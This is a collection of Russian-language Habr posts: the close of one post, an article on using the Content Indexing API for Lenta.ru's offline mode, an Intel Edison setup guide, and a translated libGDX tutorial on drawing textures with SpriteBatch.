**Хочу также напомнить, что Хабр читаете не только лично Вы, но еще и много людей, для которых данное решение может быть полезным.**
Спасибо за внимание.
UPD.
Прошу не обсуждать национальные вопросы и придирки.
Для все кому это может быть полезным.
<http://internethelper.ru/gsic/>
Google Search in Countries
Пользуйтесь все! Копируйте, правьте, используйте.! | https://habr.com/ru/post/143407/ | null | ru | null |
# Content Indexing API: страницы, доступные в offline. Доклад с RamblerFront #9
Здравствуйте, меня зовут Антонина, я работаю frontend-разработчиком в Rambler&Co, в команде Lenta.ru.
Content Indexing API — новый инструмент от Google, показывающий, какие страницы доступны в offline-режиме. Я расскажу, как работает Content Indexing API, когда его следует использовать и как его внедряла наша команда.
### О проекте
Lenta.ru — это российское новостное интернет-издание. Суточное количество уникальных посетителей — ~7 млн., в пики фиксировали 12 млн. 20% пользуются десктопной версией, 80% — мобильной, у которой также есть offline-версия. Далее речь пойдёт именно о ней.
Статья написана по мотивам моего выступления, его можно посмотреть по ссылке:
### Offline-версия Lenta.ru
В качестве небольшого экскурса расскажу, как работает наша offline-версия.
Зачем она вообще нужна Lenta.ru? Для того чтобы предоставлять контент независимо от того, есть ли у пользователя интернет или нет. Основной упор идёт на информацию, поэтому в offline-версии у нас есть только главная разводящая страница, сами контентные страницы и страница с игрой в крестики-нолики на случай, если контент не сохранился.
Для offline-версии сохраняются:
1. Необходимые ассеты и код: разметка, стили, JavaScript и шрифт;
2. Данные: заголовки, тексты, время публикации и некоторые другие данные, необходимые для отображения контента.
Ассеты и код кэшируются с помощью CacheStorage, а данные сохраняются в IndexedDB. При первом обращении к m.lenta.ru происходит следующее:
* загрузка материалов,
* регистрация (или обновление) Service Worker,
* кэширование файлов с помощью CacheStorage,
* сохранение данных в IndexedDB.
Потом Service Worker слушает запросы (события fetch), и, если связи нет, то пользователю отдается index.html файл с SPA.
В результате, если пользователь перейдёт на страницу материала, который сохранился, то сможет его прочитать. Если же именно этот материал не сохранился, или пользователь перешёл на любую другую страницу (не контентную) – он попадёт на главную страницу offline-версии.
Если ничего не сохранилось, то отобразится страница с крестиками-ноликами. В любом случае пользователь будет видеть, что он находится в offline-режиме, а когда связь снова появится — получит уведомление с предложением вернуться в online.
### Проблема, которую решает Content Indexing API
На иллюстрации изображён пользователь с нестабильным интернетом и разные сайты. У некоторых из них есть offline-версия. Как пользователю узнать, какой контент ему доступен?
Скорее всего он попробует попасть на какой-то сайт. И вряд ли он будет проверять другие сайты, если увидел, что интернета нет:
Возникает вопрос: можно ли смотреть не каждый сайт в отдельности, а увидеть сразу все доступные страницы в одном месте?
Оказывается можно, и именно эту задачу решает Content Indexing API. Он создает единую точку входа в интерфейсе, благодаря которой пользователь может увидеть перечень всех страниц, которые доступны в offline:
### Content Indexing API
Content Indexing API — это один из API, разрабатываемый в рамках проекта реализации новых возможностей. Цель проекта — позволить веб-приложениям делать всё, что могут делать нативные приложения на мобильных устройствах и на десктопах.
Он решает задачу обнаружения страниц, доступных в offline. Ведь если человек не знает, что у него что-то сохранено и доступно без интернета, он вряд ли этим воспользуется.
По сути Content Indexing API делает так, чтобы пользователь мог посмотреть в интерфейсе браузера список всех доступных без сети страниц. Со всех веб-приложений, которые используют этот API.
### Как это работает (для пользователей)
Здесь важный момент и важная оговорка: из-за того, что функциональность новая, у пользователей ещё нет опыта взаимодействия с ней и нет нужного паттерна поведения. Поэтому поиск перечня доступных в браузере страниц может показаться квестом.
Посмотрим на путь пользователя к месту, где отображаются доступные в offline страницы:
1. Заходим в меню в браузере.
2. Выбираем пункт меню Downloads (Скачанные файлы).
3. Выбираем правую вкладку “Explore offline” (“Офлайн-контент”).
Путь пользователя к проидексированным страницамМы на месте. В этой вкладке отображаются все страницы, которые доступны в offline и проиндексированы с помощью Content Indexing API. Если интернет есть — при клике пользователь попадёт на страницу обычной версии сайта. Если интернета нет — на offline-версию страницы.
### Как это работает (для разработчиков)
Что вообще нужно, чтобы начать использовать этот API?
1. У веб-приложения должна быть offline-версия.
2. В offline-версии должны быть контентные страницы.
Сохранение и отображение страниц происходит силами offline-версии веб-приложения. Content Indexing API — это дополнение к ней, позволяющее отображать в интерфейсе браузера список доступных без интернета страниц, их адреса и превью.
Алгоритм индексации выглядит так:
Алгоритм индексации страницТеперь посмотрим на код. Это фрагмент проверки поддержки Content Indexing API в браузере:
```
navigator.serviceWorker.ready
.then((registration) => {
if (!registration.index) {
return;
}
// (1)
}
```
Теперь посмотрим на код индексации (вместо строки с комментарием (1) из примера выше):
```
registration.index.add({
url: page.url, // required
id: page.id, // required
title: page.title, // required
description: page.description, //required
icons: [{ // required
src: page.image_url,
sizes: 64x64,
type: 'image/png',
}],
// Варианты: 'homepage', 'article', 'video', 'audio', ''
category: 'article', // optional
});
```
Индексируем с помощью метода `add` этого API. При индексации нужно указать `url`, `id`, `title`, `description`, `icons` и `category`. Все параметры кроме `category` обязательные. Значение `category` по умолчанию — пустая строка, но можно указать одно из следующих значений: `‘homepage’`, `‘article’`, `‘video’`, `‘audio’`. Часть этих параметров используется для формирования превью проиндексированных страниц, а на `id` остановимся чуть позже.
Мы ответственны не только за запись, но и за удаление устаревших страниц из индексации. Варианта два: сделать интерфейс, чтобы пользователь мог удалить все проиндексированные страницы, либо мы сами должны периодически это делать.
В нашем случае мы удаляем страницы из индексации в момент обновления данных для offline-версии. Кроме этого, пользователь всегда может удалить материалы из самой вкладки “Офлайн-контент”, но, чтобы удалить всё, ему придётся вручную удалять каждую страницу. Поэтому стоит сделать интерфейс для удаления всего или автоудаление.
Lenta.ru — это новостное издание, а актуальность у новостей непродолжительная, поэтому данные offline-версии обновляются каждые полчаса. Индексация страниц и их удаление из индексации происходит в одно и то же время.
Алгоритм удаления страниц из индексации выглядит так:
Алгоритм удаления страниц из индексацииА так выглядит код, который нужен для удаления страниц из индексации:
```
registration.index.getAll() // (1)
.then((entries) => {
entries.forEach((entry) => {
registration.index.delete(entry.id); // (2)
});
});
```
В строке с комментарием (1) с помощью метода этого API `getAll` получаем итерируемый объект с данными всех сохранённых страниц. А в строке с комментарием (2), уже зная `id` страниц, удаляем их с помощью метода этого API `delete` и передаём ему тот самый `id`, который указывали при индексации (теперь понятно, зачем он нужен).
Это позволяет удалить информацию о страницах только из индексации, то есть во вкладке “Офлайн-контент” её уже не будет. Но сами данные сохранённых страниц нужно удалять отдельно силами offline-версии.
3 фрагмента кода выше — это не упрощённое демо, а действительно весь необходимый код для работы с Content Indexing API. Если есть offline-версия, то добавить его в проект несложно.
### Как мы внедряли Content Indexing API на Lenta.ru
Наша задача — отдавать контент независимо от того, есть ли у пользователя интернет. Offline-версия в проекте существует более 3-х лет. Но как пользователь узнает, что Lenta.ru умеет работать без сети?
До сих пор был только один вариант: пользователь перейдёт на любую страницу Lenta.ru, когда нет связи, и попадёт в offline-версию. Но с помощью этого API появляется второй вариант: теперь пользователь может узнать о том, что ему доступны какие-то страницы из вкладки “Офлайн-контент” в интерфейсе браузера.
Теперь расскажу, что индексируем. Для offline-версии сохраняются материалы трёх списков новостей, в сумме — это около 100 материалов. Среди них есть маленький список — топ-10, новости из этого списка отображаются наверху главной страницы.
Так как API новый, решили не индексировать сразу все ~100 материалов, а начать с топ-10. Почему решили сначала ограничиться небольшим фрагментом:
1. Чтобы быстрее зарелизить.
2. Были опасения, что Content Indexing API может сохранять данные из материалов и дублировать их при сохранении. Это опасение не оправдалось.
3. Не знали, сколько это займёт времени и сколько даст пользы.
4. Было непонятно, как повлияет (лучше пусть хорошо повлияет на маленький фрагмент, чем плохо — на большой).
5. Довольно большое количество посетителей в сутки, поэтому стараемся релизить аккуратно.
Cейчас единовременно индексируем около 10 страниц. Индексировать больше в ближайшее время не планируем.
### Пара слов о метрике
В offline-версии мы считаем, сколько пользователей переходит на страницы благодаря Content Indexing API. Решение довольно простое:
```
registration.index.add({
url: `${page.url}?utm_source=offline`,
id: page.id,
title: page.title,
description: page.description,
icons: [{
src: page.image_url,
sizes: 64x64,
type: 'image/png',
}],
category: 'article',
});
```
При индексации материала этим API добавляем url материала с utm-меткой, по которой понимаем, что на страницу попали именно из вкладки Content Indexing API. Приводить цифры пока рано. Ощутимого трафика (относительно основного) это пока не даёт.
### Поддержка
Content Indexing API доступен в стабильной версии, и его уже можно использовать в production. Относительно недавно у этого API появилась [статья на MDN](https://developer.mozilla.org/en-US/docs/Web/API/Content_Index_API), в которой указано, что API доступен в Edge, Chrome Android и WebView Android v.84 и Opera Android v.60.
Но на [chromestatus](https://www.chromestatus.com/feature/5658416729030656) упомянуты только Chrome Android и Android WebView, а у остальных браузеров стоит пометка «No signal». Не нашла этого интерфейса ни в Opera v.62 на Android, ни в Edge v.84. Если у кого-то есть другая информация — буду благодарна, если поправите меня.
Поддержка браузерами Content Indexing API, информация с developer.mozilla.orgИнтересно было бы перевести эту информацию в цифры, чтобы примерно понимать, у какого процента пользователей поддерживается Content Indexing API. Посмотрим на примере статистики Lenta.ru.
У Lenta.ru количество пользователей Chrome на Android составляет примерно 60% от всех мобильных пользователей. 64% всех пользователей Chrome на Android используют v.84 и выше. То есть примерно у 39% от всех мобильных пользователей есть поддержка Content Indexing API. Это цифры за последние 3 месяца.
Количество пользователей Chrome на Android v.84 (на примере статистики Lenta.ru)### Возможные перспективы
Есть 4 идеи, как Content Indexing API будет развиваться и чем может быть полезен:
1. Бонусы по части SEO у проиндексированных материалов.
У нас есть предположение, что в дальнейшем у материалов, проиндексированных с помощью Content Indexing API, может повыситься приоритет в поисковой выдаче или будут другие бонусы по части SEO.
2. Найти проиндексированные материалы будет проще, а значит и пользоваться этим будут чаще.
Больше наша надежда, чем догадка: путь к месту, где в браузере находится перечень доступных в offline страниц, сократится с трёх до (в идеале) одного шага.
3. Content Indexing API можно использовать для сохранения закладок пользователя и для персональных рекомендаций.
Это не догадка, так действительно можно делать. Этот API можно использовать для сохранения рекомендованных материалов и тех, которые пользователь добавил в закладки. Если, конечно, веб-приложение действительно сохраняет эти страницы для offline-режима.
4. Со временем этой функциональностью начнёт пользоваться больше людей.
Так как API новый и раньше такой опции не было, ещё не сформировался нужный пользовательский опыт: большинство просто не знает, что так можно. Возможно, что со временем этой функциональностью начнёт пользоваться больше людей. Будет хорошо, если к этому моменту в Lenta.ru она уже будет. Примерно такая же ситуация у проекта была с самой offline-версией: сначала сделали, а потом её наличие стало обязательным требованием, чтобы считаться PWA.
### Плюсы и минусы
Плюсы:
1. Стабильная версия, можно использовать в production.
2. +1 инструмент вовлечения
и точка входа.
3. Мало кода
(непосредственно для работы с Content Indexing API).
4. Есть перспективы.
Минусы:
1. Слабая поддержка браузерами.
2. Пользовательский опыт ещё не сформировался.
3. Нужна offline-версия, чтобы начать использовать.
4. Пока не даёт больших результатов (трафик).
### Рекомендации
Есть две рекомендации касательно того, когда стоит использовать Content Indexing API:
1. Если веб-приложение — это контентный ресурс.
2. И у веб-приложения есть offline-версия, в которой можно просматривать контентные страницы.
### В качестве заключения
Content Indexing API решает проблему обнаружения контента, доступного в offline. Уже есть стабильная версия, которую можно использовать в production. Этот API только индексирует страницы, а сохранение и отображение — задачи offline-версии. Ещё раз подчеркну, что offline-версия и Content Indexing API — это не одно и то же, они не взаимозаменяемы.
Основная проблема в том, что пользовательский опыт ещё не сформировался, и местонахождение вкладки неочевидно, поэтому больших результатов пока что ждать не стоит.
Эффект от таких новых инструментов не всегда заметен сразу, но перспективы интересные. Возможно, через некоторое время это станет таким же привычным пользовательским опытом, как, например, AMP и offline.
[Ссылка на материалы](https://telegra.ph/Content-Indexing-API-stranicy-dostupnye-v-offline-03-14). | https://habr.com/ru/post/555084/ | null | ru | null |
# Практикум «Intel IoT». Edison — могучая «кроха»
[](http://habrahabr.ru/post/249845/) В [предыдущих частях](http://habrahabr.ru/company/intel/blog/249127/) «практикума» мы рассматривали Intel Galileo, который производителем позиционируется как плата «для изучения». Но есть ещё и устройство, которое можно использовать не только для ознакомления и прототипирования, но и для встраивания в конечные изделия.
Речь идет об **Intel Edison**. Модуль очень мощный (CPU – двухъядерный Intel Atom 500МГц, MCU – Intel Quark 100МГц), 4Гб флеш-памяти, 1Гб «оперативки», компактный (чуть больше SD-карточки), может «питаться» от батареек или аккумуляторов, оснащён беспроводными интерфейсами (Wi-Fi и Bluetooth 4.0) и многое другое.
Но не будем забегать вперёд.
Unboxing и первое знакомство
----------------------------
Комплект, который я изучал, поставляется вот в такой симпатичной и компактной упаковке:
Помимо самого «главного модуля» Intel Edison, в комплект входят:
* плата расширения (в этом наборе – «ардуино-совместимая», бывают еще более компактные платы для прототипирования);
* четыре пластиковые стойки с крепёжными винтами;
* две гайки для крепления Intel Edison на плате расширения.
Intel Edison сразу впечатляет… своими размерами – ведь в этом маленьком устройстве (размер 35.4х25.0х3.9 мм) заключена достаточно серьёзная «[начинка](http://download.intel.com/support/edison/sb/edisonmodule_hg_331189004.pdf)»:
* двухъядерный процессор (Intel Atom, с тактовой частотой 500МГц);
* микроконтроллер (Intel Quark, тактовая частота – 100МГц);
* оперативная память – 1Гб LPDDR3;
* флеш – 4Гб (eMMC);
* модуль Wi-Fi – Broadcom 43340 802.11 a/b/g/n (двухдиапазонный – 2.4 и 5ГГц), встроенная антенна (в моём случае, бывает вариант с внешней антенной),
* модуль Bluetooth 4.0
*Почти все компоненты скрываются под металлическим экраном. На «лицевой» стороне платы видна керамическая антенна для беспроводных модулей (слева снизу) и разъем (u.FL) для подключения внешней антенны (чуть выше).*
Согласитесь, мало какая система может похвастаться таким «набором». И всё это в крохотном исполнении.
На нижней стороне платы – ещё один «экранированный ящик» с компонентами и разъём, через который Edison коммуницирует с «внешним миром»:
Через этот разъём выведены следующие интерфейсы:
* SD-карта – 1 штука
* UART – 2 порта
* I2C – 2 шины
* SPI – 1 шина с возможностью выбора 2 чипов (2 CS)
* I2S – 1 шина
* Порты ввода-вывода (GPIO) – 12 штук (4 из них – с возможностью ШИМ)
* USB 2.0 – 1 порт (OTG)
* Часовой выход – 32кГц и 19.2МГц
И [этот разъём](http://www.intel.com/support/edison/sb/CS-035260.htm) тоже впечатляет своими размерами – 70 контактов на такой малой площади.
Использование именно такого разъёма, видимо, компромисс между желанием вывести как можно больше интерфейсов и желанием сделать это максимально компактно.
**Плата, которая пошла в производство, выглядит не так эффектно, как первоначально презентовали Intel Edison:**
Но всё-таки, Edison – очень выдающийся продукт.
В домашних условиях, боюсь, прототип своего устройства на базе Intel Edison будет сделать очень проблематично. Но для прототипирования отлично подходит плата из комплекта поставки:
Помимо Edison, на плате хорошо видны «пины» для подключения ардуино-совместимых шилдов (обозначены как «ANALOG IN», «DIGITAL», «POWER»), слот для microSD-карточки, разъём для подключения источника питания и три USB-разъёма (один – type A и два – microUSB).
Сразу расскажу, зачем так много usb-разъёмов, ведь сам Intel Edison обладает только одним OTG-портом. Тут всё дело в ~~волшебных пузырьках~~ положении микропереключателя SW1 (расположен между «полноразмерным» и microUSB разъёмами). Если рычажок переключателя находится ближе к «полноразмерному» USB-разъёму, то работает именно он (режим «хоста»: можно подключать, например, внешний USB-накопитель или клавиатуру), если же переключатель в другом положении – работает microUSB-порт (плату можно подключать к компьютеру, например, для обновления прошивки). Последний microUSB-порт (в правом нижнем углу) используется для организации терминала.
Также на плате расположены 5 кнопок:
* FW и RM – для восстановления работоспособности в случае повреждения «образа»
* PWR – управление режимами питания
* SHLD RST – перезагрузка arduino-скетча, работающего в Intel Edison (не влияет на состояние самого Edison)
* RESET – сброс.
Более подробно о функциях и возможностях использования кнопок рассказывает [этот документ](https://communities.intel.com/docs/DOC-23454).
Для управления различными режимами работы Intel Edison и подключения доп.модулей на плате также расположены следующие пины, разъёмы и джамперы:
* IOREF – для выбора уровня напряжений, с которыми будет работать плата: 5В или 3.3В;
* AREF – выбор опорного напряжения для работы АЦП (также зависит от положения джампера IOREF);
* NTC – пины для подключения термистора (на 10кОм) для контроля температуры аккумуляторной батареи при зарядке. Когда эти пины замкнуты – функция контроля температуры заблокирована;
* ICSP – выполняет теже функции, что и одноименный разъем на плате Arduino UNO;
* BATT – пины для подключения Li-Ion или Li-Po аккумулятора для разработки «носимой» электроники (не перепутайте полярность!);
* PWM – джамперы для конфигурирования работы ШИМ-выходов.
Подробнее можно почитать [тут](https://communities.intel.com/docs/DOC-23455).
**У меня в хозяйстве нашелся Li-Po аккумулятор на 3.7В 1000мАч**И я его, конечно же, подключил к соответствующему разъёму – плата тут же «завелась». На плате присутствует «зарядник» для таких аккумуляторов. Соответственно, можно использовать такие АКБ, например, в качестве резервного источника питания.
Более подробно ознакомиться с особенностями использования аккумуляторных батарей можно в [этом документе](http://download.intel.com/support/edison/sb/edisonarduino_hg_331191007.pdf).
> Кстати, Intel Edison проектировался в т.ч. для использования в «носимой» электронике, поэтому с потреблением тут всё уже очень неплохо. В спецификакции указаны вот такие характеристики (в режиме ожидания):
>
>
>
> * все радиомодули выключены – 13мВт;
> * включен Bluetooth 4.0 – 21.5мВт;
> * включен Wi-Fi – 35мВт;
>
>
>
> Естественно, в активном режиме будет не всё так хорошо, но тут уже зависит от того, что вы будете реализовывать и как оптимизировать потребление системы.
На нижней стороне платы нет ничего интересного, кроме большого количества контактных площадок (видимо, для того, чтобы можно было подключиться «напрямую» к портам Edison):
**Для прототипирования более компактных устройств лучше использовать вот такую плату**
После того, как мы всесторонне рассмотрели Edison и плату расширения, приступим к настройке.
Прошивка Intel Edison
---------------------
Подготовим наше «устройство». Для этого необходимо аккуратно разместить Intel Edison на плате расширения (удобные направляющие практически не дают шанса на ошибку), чтобы разъём соединился – нужно слегка нажать на Edison до характерного щелчка (надавливать нужно в области разъёма аккуратно и без лишних усилий). Теперь можно зафиксировать платы между собой маленькими гаечками из комплекта поставки.
Для первичной настройки нужно подключить 2 USB-кабеля (в microUSB-разъёмы), переключатель SW1 должен быть в положении к microUSB. Оба кабеля подключаем к компьютеру (я снова использую mac). Если всё сделано правильно – в системе появится диск EDISON.
Сначала рекомендуется удалить существующий образ, для чего просто удаляем всё с появившегося диска, включая скрытые папки, используя любой доступный инструмент (я воспользовался терминалом).
Смотрим свойства диска EDISON. Если там что-либо кроме FAT16 – всё в порядке, если FAT16 – лечим [так](https://software.intel.com/en-us/articles/intel-edison-flashing-firmware-on-os-x-wired).
**Забегая чуть вперед**После прошивки будет примерно следующая картина:
```
root@edison:~# df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 463.9M 365.9M 62.2M 85% /
devtmpfs 479.9M 0 479.9M 0% /dev
tmpfs 480.2M 0 480.2M 0% /dev/shm
tmpfs 480.2M 508.0K 479.7M 0% /run
tmpfs 480.2M 0 480.2M 0% /sys/fs/cgroup
systemd-1 5.7M 5.3M 462.0K 92% /boot
tmpfs 480.2M 4.0K 480.2M 0% /tmp
tmpfs 480.2M 0 480.2M 0% /var/volatile
/dev/mmcblk0p5 1003.0K 21.0K 911.0K 2% /factory
/dev/mmcblk0p7 5.7M 5.3M 462.0K 92% /boot
systemd-1 2.2G 5.3M 2.2G 0% /home
/dev/mmcblk0p10 2.2G 5.3M 2.2G 0% /home
```
Качаем свежую версию [Yocto](http://www.intel.com/support/edison/sb/CS-035180.htm). Распаковываем архив и все получившиеся файлы и папки переписываем на диск EDISON. После того, как файлы переписаны, необходимо прошить Edison. Для этого открываем новое окно терминала (или воспользуемся тем, что было на предыдущих шагах).
Вводим команду:
```
screen /dev/cu.usbserial
```
И нажимаем клавишу Tab (для автозаполнения), потом дописываем «115200 -L», у меня при этом получилось:
```
screen /dev/cu.usbserial-AJ035QHB 115200 -L
```
Подтверждаем ввод (Enter) – видим «чистый экран», ещё раз Enter и получаем окно приветствия:
Вводим логин root. Вводим пароль (если у вас система уже была настроена ранее и это «обновление»). После этого проще всего запустить прошивку с помощью команды:
```
reboot ota
```
Внимание, при этом удалятся все настройки, которые были сделаны ранее (например, Wi-Fi и т.п.). Если же это делается впервые – вы ничего не потеряете. Процесс обновления выглядит примерно так:
Если все хорошо, то процесс завершится приглашением для логина:
Все настройки сброшены – логин root (без пароля).
**Версия Linux**
```
root@edison:~# cat /proc/version
Linux version 3.10.17-poky-edison+ (sys_dswci@tlsndgbuild004) (gcc version 4.8.2 (GCC) ) #1 SMP PREEMPT Fri Jan 30 14:16:35 CET 2015
```
Первичная настройка
-------------------
Для настройки Intel Edison необходимо запустить следующую команду:
```
configure_edison --setup
```
Эта команда запускает «мастер» установки, в ходе которого последовательно предлагается задать:
* Пароль административной записи
* Имя устройства
После этих шагов мастер предложит настроить подключение к сети Wi-Fi. Процесс сканирования сетей занимает 10 секунд, после этого в экране терминала выводится примерно следующее:
Далее нужно выбрать номер нужной сети (или ввести скрытый SSID) и ввести пароль для подключения к сети. Если всё сделано правильно – в терминале отобразится полученный IP-адрес.
Готово. Теперь можно спокойно отключить Edison от компьютера и подключить блоком питания (7-15В). Устройство автоматически стартует и подключится к выбранной беспроводной сети.
Теперь Intel Edison можно управлять через SSH (IP-адрес, логин/пароль — все уже определено на предыдущих шагах).
Можно повторить настройки, которые мы уже производили в [одной из предыдущих частей «Практикума»](http://habrahabr.ru/company/intel/blog/248893/).
Дополнительно можно подключить карту памяти (microSD) и использовать её на свое усмотрение.
*Слева – Intel Galileo Gen2, справа – Intel Edison*
Поморгаем светодиодом с помощью Arduino IDE
-------------------------------------------
C момента написания предыдущих частей «практикума» версия Arduino IDE немного «подросла» до [1.6.0](http://www.intel.com/support/edison/sb/CS-035180.htm). В общем-то, ничего принципиально отличного от того, что было в примере с Intel Galileo Gen2 – нужно выбрать только правильную плату (Edison) и порт (для Mac это порт с названием вида /dev/cu.usbmodemxxxx).
Если всё сделано правильно, то на плате (после загрузки примера Blink) начнёт моргать светодиод DS2. Теперь можно осваивать другие возможности Intel Edison. Для того, чтобы это было быстро и просто осуществить – можно приобрести набор [Grove Starter Kit Plus Intel IoT Edition](http://www.seeedstudio.com/depot/Grove-starter-kit-plus-Intel-IoT-Edition-for-Intel-Galileo-Gen-2-and-Edison-p-1978.html), содержащий наболее востребованные элементы: различные сенсоры, дисплей и т.п.
Удобство этого набора в том, что можно очень быстро и просто создавать различные прототипы устройств, просто подключив необходимый в проекте «набор» устройств в «базовый шилд».
**Подобный набор я уже использовал ранее**Для создании [погодной станции](http://habrahabr.ru/post/165747/). Возможно, что у вас уже такой «кит» (или схожий по смыслу) уже имеется в наличии (вероятность этого очень высока, если вы уже начали/осваиваете Arduino). Да и вообще, все те «шилды», что используются с Arduino (с некоторыми оговорками) можно использовать с Intel Edison и «большой» платой.
И ещё больше облегчает процесс изучения наличие всех необходимых [примеров](https://github.com/Seeed-Studio/Sketchbook_Starter_Kit_V2.0).
> Собственно, как и декларировалось – переход с Intel Galileo на Intel Edison очень прост: всё, что было сделано для Galileo – просто переносится на «старшее» устройство.
Что дальше?
-----------
Вы можете выбирать любой способ разработки, какой нравится. На выбор предлагается:
* [Arduino IDE](https://software.intel.com/en-us/articles/install-arduino-ide-on-intel-iot-platforms)
* [Eclipse (C/C++)](https://software.intel.com/en-us/articles/install-eclipse-ide-on-intel-iot-platforms)
* [Intel XDK IoT Edition (Node.js/Javascript)](https://software.intel.com/en-us/articles/install-the-intel-xdk-iot-edition)
Кстати, с времени публикации предыдущих частей «практикума» [Intel IoT Developer Kit](https://software.intel.com/ru-ru/iot/downloads) тоже обновился (текущая версия – v1.0). При его разработке учли многочисленные замечания и предложения (в т.ч. и те, которые были затронуты в нашем «практикуме») – создавать проекты в Eclipse стало проще, ещё больше примеров, больше документации (причём, часть уже и на русском языке).
Выводы
------
Intel Galileo и Intel Edison – перспективные устройства, которые позволяют не только «окунуться» в мир разработки устройств на микроконтроллерах, но и использовать серьезные возможности Linux-компютеров (а в случае с Edison – ещё и достаточно мощное оснащение SoC).
Взаимодействие этих богатых (самих по себе) составляющих – существенно расширяют возможности использования: например, на linux-составляющей можно поднять веб-сервер с базой данных для организации удобного веб-интерфейса по управлению какими-либо приборами, а «железная» (ардуино) составляющая – реализует это управление.
Больше устройств хороших и разных.
**»** Первая часть «практикума»: [Galileo Gen2 — Первое знакомство](http://habrahabr.ru/company/intel/blog/248279/)
**»** Вторая часть «практикума»: [Galileo Gen2 — Linux & Arduino](http://habrahabr.ru/company/intel/blog/248893/)
**»** Третья часть «практикума»: [Практикум «Intel IoT». Galileo Gen2 — Eclipse & libmraa+UPM](http://habrahabr.ru/company/intel/blog/249127/)
Ну и совсем свежая новость:
**»** [Intel Edison официально в России: предзаказ и конкурс проектов](http://habrahabr.ru/company/intel/blog/255927/)
Спасибо за внимание! | https://habr.com/ru/post/249845/ | null | ru | null |
# Перевод туториалов по libGDX — часть 2 (рисование изображений)
Представляю вашему вниманию перевод второго туториала по libGDX. Оригинал находится [здесь](http://code.google.com/p/libgdx/wiki/SpriteBatch). Первая часть находится [здесь](http://habrahabr.ru/post/142976/).
Этот туториал дает представление как рисовать изображения используя OpenGL и как libGDX упрощает и оптимизирует этот процесс с помощью класса SpriteBatch.
#### Рисование изображений.
Изображение, полученное из его оригинального формата (например, PNG) и загруженное в GPU называется текстурой. Текстуры рисуются по некоторой спецификации, которая представляет собой описание геометрической фигуры и каким образом текстура накладывается на вершины этой фигуры. Например, геометрическая фигура может быть прямоугольником и каждый угол прямоугольника относится к соответствующему углу текстуры.
Для рисования необходимо, чтобы текстура была сделана текущей (привязана) и чтобы была задана геометрия. Размер и расположение места, куда будет выведена текстура, определяются геометрией и настройкой окна просмотра OpenGL. Много 2D игр настраивают окно просмотра так, чтобы оно совпадало с разрешением экрана. Это значит, что геометрия определяется в пикселях, что делает легким отрисовку текстур соответсвующего размера и в нужном месте экрана.
Очень часто рисование текстур происходит в прямоугольной геометрии. Также очень часто одна текстура или ее разные части рисуются много раз. Неэффективно отсылать один прямоугольник для отрисовки в GPU. Вместо этого, много прямоугольников для для одной текстуры могут быть описаны и отправлены в GPU все вместе. Этим и занимается класс SpriteBatch.
SpriteBatch получает текстуру и координаты каждого прямоугольника, куда будет выведена эта текстура. Он накапливает эту информация без отсылки в GPU. Когда он получает текстуру, которая отличается от последней загруженной текстуры, он делает активной последнюю загруженную текстуру, отсылает накопленную информация по рисованию в GPU и начинает накапливать данные по отрисовке для следующей текстуры.
Изменение текстуры каждые несколько прямоугольников, которые должны отрисовываться, мешает SpriteBatch группировать достаточно много прямоугольников. Также, привязка текстуры — довольно дорогая операция. Учитывая эти причины, часто хранят много мелких изображений в одном большом изображении и потом рисуют части большого изображения, максимизируя этим количество накопленных прямоугольников для отрисовки и избегая смены текстуры. Смотрите [TexturePacker](http://code.google.com/p/libgdx/wiki/TexturePacker) для более подробной информации.
##### SpriteBatch (упаковщик спрайтов)
Использование класса SpriteBatch в приложенни выглядит следующим образом:
```
public class Game implements ApplicationListener {
private SpriteBatch batch;
public void create () {
batch = new SpriteBatch();
}
public void render () {
Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); // Эта строка очищает экран
batch.begin();
// Здесь происходит отрисовка!
batch.end();
}
public void resize (int width, int height) { }
public void pause () { }
public void resume () { }
public void dispose () { }
}
```
Все вызовы SpriteBatch для отрисовки должны быть заключены между методами begin() и end(). Вызовы методов для рисования другими средствами (не классом SpriteBatch) не должно встречаться между методами begin() и end().
##### Texture (текстура)
Класс Texture получает изображение из файла, и загружает его в GPU. Файл изображения должен быть размещен в директории «assets», как описано в (ССЫЛКА) Project Setup. Размеры изображения должны быть степенью двойки (16х16, 64х256 и т. д.).
```
private Texture texture;
...
texture = new Texture(Gdx.files.internal("image.png"));
...
batch.begin();
batch.draw(texture, 10, 10);
batch.end();
```
Здесь создается текстура и отправляется классу SpriteBatch для отрисовки. Текстура рисуется в прямогольнике, левый нижний угол которого размещенный в точке (10, 10), с шириной и высотой, равной размерам текстуры. SpriteBatch имеет много методов для рисования текстур:
```
draw(Texture texture, float x, float y)
```
Рисует текстуру в точке х, у, используя размеры текстуры
```
draw(Texture texture, float x, float y, int srcX, int srcY, int srcWidth, int srcHeight)
```
Рисует часть текстуры.
```
draw(Texture texture, float x, float y, float width, float height, int srcX, int srcY, int srcWidth, int srcHeight, boolean flipX, boolean flipY)
```
Рисует часть текстуры, растянутую до размеров width\*height, и, возможно, отраженную.
```
draw(Texture texture, float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float rotation, int srcX, int srcY, int srcWidth, int srcHeight, boolean flipX, boolean flipY)
```
Этот монструозный метод рисует часть текстуры с возможностью сжатия (растяжения), вращения вокруг точки и возможностью отражения.
```
draw(Texture texture, float x, float y, float width, float height, float u, float v, float u2, float v2)
```
Рисует часть текстуры, растянутую до размеров width\*height. Это более продвинутый метод. Координаты указываються не в пикселях, а в действительных числах.
```
draw(Texture texture, float[] spriteVertices, int offset, int length)
```
Рисует часть текстуры, «натягивая» ее на фигуру, указанную в spriteVerticles
##### TextureRegion (регион текстуры или часть текстуры)
Класс TextureRegion описывает прямоугольник внутри текстуры и используется для рисования только части текстуры.
```
private TextureRegion region;
...
texture = new Texture(Gdx.files.internal("image.png"));
region = new TextureRegion(texture, 20, 20, 50, 50);
...
batch.begin();
batch.draw(region, 10, 10);
batch.end();
```
Здесь 20, 20, 50, 50 описывает часть текстуры, которая потом будет нарисована в точке (10, 10). Это же действие может быть сделано передачей текстуры и дополнительных параметров классу SpriteBatch, но класс TextureRegion делает это удобнее, поскольку проще определить отдельный обьект и работать с ним, чем помнить про кучу дополнительных параметров.
SpriteBatch имеет много методов для рисования TextureRegion:
```
draw(TextureRegion region, float x, float y)
```
— рисует регион, используя ширину и высоту региона.
```
draw(TextureRegion region, float x, float y, float width, float height)
```
— рисует регион, сжатый (растянутый) до размеров width и height.
```
draw(TextureRegion region, float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float rotation)
```
— рисует регион, растянутый (сжатый) до width и height, с возможностью масштабирования и вращения относительно точки originX, originY.
